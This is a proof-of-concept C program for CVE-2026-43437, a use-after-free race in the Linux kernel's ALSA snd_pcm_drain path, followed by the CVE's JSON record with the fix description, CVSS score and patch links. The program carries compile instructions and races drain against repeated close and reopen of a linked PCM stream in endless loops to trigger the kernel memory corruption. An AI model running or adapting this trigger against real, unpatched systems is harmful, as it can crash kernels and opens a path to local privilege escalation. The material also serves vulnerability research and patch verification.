CVE-2026-43437

/* * PoC for CVE-2026-43437: ALSA Use-After-Free in snd_pcm_drain * This code attempts to trigger the race condition by calling drain and close concurrently. * Compile: gcc -o poc_cve2026_43437 poc_cve2026_43437.c -lasound -lpthread */ #include <alsa/asoundlib.h> #include <pthread.h> #include <unistd.h> #include <stdio.h> snd_pcm_t *pcm1, *pcm2; void* thread_drain(void* arg) { while(1) { snd_pcm_drain(pcm1); } return NULL; } void* thread_close(void* arg) { while(1) { // Trigger the race via the linked stream snd_pcm_close(pcm2); // Re-open for looping (simplified logic for PoC) snd_pcm_open(&pcm2, "default", SND_PCM_STREAM_PLAYBACK, 0); if(pcm1) snd_pcm_link(pcm1, pcm2); } return NULL; } int main() { // Setup PCM streams snd_pcm_open(&pcm1, "default", SND_PCM_STREAM_PLAYBACK, 0); snd_pcm_open(&pcm2, "default", SND_PCM_STREAM_PLAYBACK, 0); if (snd_pcm_link(pcm1, pcm2) < 0) { perror("snd_pcm_link"); return 1; } pthread_t t1, t2; pthread_create(&t1, NULL, thread_drain, NULL); pthread_create(&t2, NULL, thread_close, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }

{"cve": {"id": "CVE-2026-43437", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:56.037", "lastModified": "2026-05-11T08:16:14.063", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: pcm: fix use-after-free on linked stream runtime in snd_pcm_drain()\n\nIn the drain loop, the local variable 'runtime' is reassigned to a\nlinked stream's runtime (runtime = s->runtime at line 2157). After\nreleasing the stream lock at line 2169, the code accesses\nruntime->no_period_wakeup, runtime->rate, and runtime->buffer_size\n(lines 2170-2178) — all referencing the linked stream's runtime without\nany lock or refcount protecting its lifetime.\n\nA concurrent close() on the linked stream's fd triggers\nsnd_pcm_release_substream() → snd_pcm_drop() → pcm_release_private()\n→ snd_pcm_unlink() → snd_pcm_detach_substream() → kfree(runtime).\nNo synchronization prevents kfree(runtime) from completing while the\ndrain path dereferences the stale pointer.\n\nFix by caching the needed runtime fields (no_period_wakeup, rate,\nbuffer_size) into local variables while still holding the stream lock,\nand using the cached values after the lock is released."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/4a758e9a1f5ed722f83c4dd35f867fe811553bcb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/629cf09464cf98670996ea5c191dc9743e6f3f00", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/9b1dbd69ba6f8f8c69bc7b77c2ce3b9c6ed05ba6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/9baee36e8c5443411c4629afabafaff8a46a23fd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/ae8f8d30d334bad5b1b3cdb1eb8a0b771f55e432", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/c2f64e05a0587a83ec42dbd6b7a7ded79b2ff694", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/fc71f888994569f87d5bee20b1ac6c9c1e3a7a79", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}